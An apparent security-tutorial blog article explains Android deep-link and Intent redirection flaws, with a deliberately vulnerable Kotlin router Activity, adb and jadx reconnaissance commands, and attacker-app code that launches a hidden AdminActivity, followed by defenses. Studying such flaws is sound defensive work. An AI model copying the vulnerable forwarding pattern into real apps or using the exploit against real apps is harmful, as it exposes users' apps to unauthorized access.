Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Android apps expose entry points to the rest of the operating system through Intents — messages that request an action, optionally carrying data and extras. Deep links are the most visible use of this mechanism: a custom URI scheme (myapp://product/42) or an HTTPS App Link (https://shop.example/product/42 verified via assetlinks.json) that opens a specific screen inside an app directly from a browser, email, push notification, or another app. Because any app, web page, or NFC tag can hand an Activity an Intent, every component that accepts one is effectively a network-facing API, whether the developer thinks of it that way or not.
Intent redirection is what happens when an app trusts that incoming data too much — specifically when it extracts an entire Intent object (not just a string or ID) from the extras of an inbound Intent and hands it straight to startActivity(), startActivityForResult(), sendBroadcast(), or bindService(). The receiving component becomes a confused deputy: it runs with the launching app’s own permissions and can be tricked into starting internal, non-exported components, hijacking a PendingIntent, or opening an attacker-controlled URL inside a privileged WebView. This turns a convenience feature into a lateral-movement primitive between apps on the same device.
Attack Prerequisites
Exploiting deep links and intent redirection generally requires:
- An exported component (
android:exported="true", implicit pre-API 31 for any component with an<intent-filter>) reachable from outside the app. - A way to deliver the malicious Intent/URI — a link in a browser, a WebView in another app, an NFC tag, a QR code, or a second app installed on the same device that the attacker controls.
- Insufficient validation in the receiving component: it trusts the scheme/host without checking the calling package, or it unwraps a nested
Intentextra and launches it directly. - For App Links specifically, no or misconfigured Digital Asset Links verification, which lets another app register the same host and race for the link-handling role.
How It Works
An <intent-filter> declares which actions, categories, data schemes, hosts, and paths a component accepts. When Android resolves an implicit Intent (from a browser click, for example) it matches these filters across every installed app; if more than one app can handle it, the user sees a disambiguation sheet unless App Links auto-verification has designated a single default handler. Once the OS picks a target, it hands the component the full Intent, including any extras the sender attached — and Android performs no validation of extras content beyond basic type checking.
Intent redirection abuses the fact that an Intent can be serialized inside another Intent‘s extras via Intent.putExtra(String, Parcelable). A common, well-intentioned pattern is a “proxy” or “router” Activity that receives a deep link, does some setup (analytics, auth check), and then forwards the user onward by pulling a target Intent out of its own extras and calling startActivity() on it. If that nested Intent came from an untrusted caller instead of being constructed internally, the proxy Activity will launch *whatever component the attacker specified* — including non-exported activities that are normally unreachable from outside the app, because the call now originates from inside the trusted app’s own process and UID.
The blast radius depends on what the redirected Intent can reach: a non-exported “admin” or “debug” Activity, a PendingIntent that performs a privileged action when fired, or a WebView-hosting Activity that will happily load whatever URL is passed to it — turning the trusted app’s own WebView, possibly with a JavaScript bridge attached, into an attacker-controlled browser running with the victim app’s cookies and storage.
Vulnerable Code / Configuration
The manifest declares an exported Activity that accepts the app’s custom scheme with no android:permission and no host/path restriction beyond the scheme:
<activity
android:name=".DeepLinkRouterActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" />
</intent-filter>
</activity>
XMLThe router Activity then does the dangerous thing: it reads a nested Intent straight out of its own extras and launches it without checking the component, the calling package, or the target’s export state:
class DeepLinkRouterActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// VULNERABLE: a full Intent object taken from untrusted extras
// and handed straight to startActivity().
val forward = intent.getParcelableExtra<Intent>("target_intent")
if (forward != null) {
startActivity(forward) // no component/package validation
}
finish()
}
}
KOTLINBecause DeepLinkRouterActivity is exported and runs inside the victim app’s process, any forward Intent it launches is attributed to the victim app — including Intents targeting components that declare android:exported="false" and would otherwise reject external callers.
Walkthrough / Exploitation
First confirm the exported surface with adb and a decompile pass in jadx to read the manifest and the router logic:
adb shell dumpsys package com.target.app | grep -A5 "android.intent.action.VIEW"
jadx -d out/ target.apk
grep -R "getParcelableExtra" out/sources --include=*.java -l
BashTrigger the legitimate deep link first to confirm resolution and observe expected behavior:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open" com.target.app
BashThen craft a malicious Intent that nests a second Intent targeting a non-exported internal Activity (found via jadx) inside the target_intent extra. This is most reliably built from a small attacker-controlled app rather than the am CLI, since it needs a real Intent/Parcelable extra:
// Attacker app code
val inner = Intent().apply {
setClassName("com.target.app", "com.target.app.internal.AdminActivity")
putExtra("skip_auth", true)
}
val outer = Intent(Intent.ACTION_VIEW, Uri.parse("myapp://open")).apply {
setPackage("com.target.app")
putExtra("target_intent", inner)
}
startActivity(outer)
KOTLINIf the router Activity forwards without validation, AdminActivity launches with skip_auth=true despite never being reachable directly — the redirection granted access to a component the manifest explicitly tried to hide.
Note: The same class of bug shows up with
PendingIntent: an app that creates a mutablePendingIntentand hands it to another component (a notification, a widget, a broadcast) lets the receiver fill in or replace the underlying Intent’s action/data/component if theFLAG_IMMUTABLE/FLAG_MUTABLEand explicit-target hygiene are not correct — conceptually the same confused-deputy problem, one API surface over.
Opsec / Testing tip: When auditing,
adb shell dumpsys package <pkg>and jadx’s manifest view quickly enumerate exported components; then grep decompiled sources forgetParcelableExtra("..Intent"),getParcelable(..., Intent::class.java), and anystartActivity(intent.getParcelableExtra(...))pattern — that grep alone finds most real-world instances of this bug class.
Detection and Defense
Fixes are cheap once the pattern is recognized: never let a caller supply an executable Intent verbatim.
- Never forward a raw nested Intent. Extract only the specific data needed (an ID, a string) and construct the target Intent internally with an explicit component.
- Set
android:exported="false"on any component that does not need to be reached from outside the app; as of API 31 this must be declared explicitly, which is a good forcing function to audit every component. - Validate the caller with
getCallingPackage()/getReferrer()before acting on sensitive extras, and require a signature-levelandroid:permissionfor inter-app communication where feasible. - Use HTTPS App Links with Digital Asset Links verification (
autoVerify="true"plus a correctassetlinks.json) instead of bare custom schemes, which any app can register. - Always use explicit
PendingIntenttargets withFLAG_IMMUTABLE, and audit forIntentobjects built fromBundle/extrasbefore they reachstartActivity.
Real-World Impact
Intent redirection and unvalidated deep-link handling have been a recurring finding class in mobile security assessments and public research on popular Android apps, frequently used to reach hidden debug screens, bypass authentication gates on internal activities, or force a privileged in-app WebView to load an attacker’s page — the last of which is especially dangerous when that WebView also exposes a JavaScript bridge, since it converts a navigation bug into native code execution inside the app’s sandbox.
Conclusion
Deep links make an app’s Activities part of its external attack surface whether or not the developer designed them that way. The durable fix is treating every exported component like an API endpoint: validate the caller, never trust a nested Intent object from extras, keep components unexported by default, and move to verified HTTPS App Links so scheme squatting and blind forwarding stop being viable attack paths.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments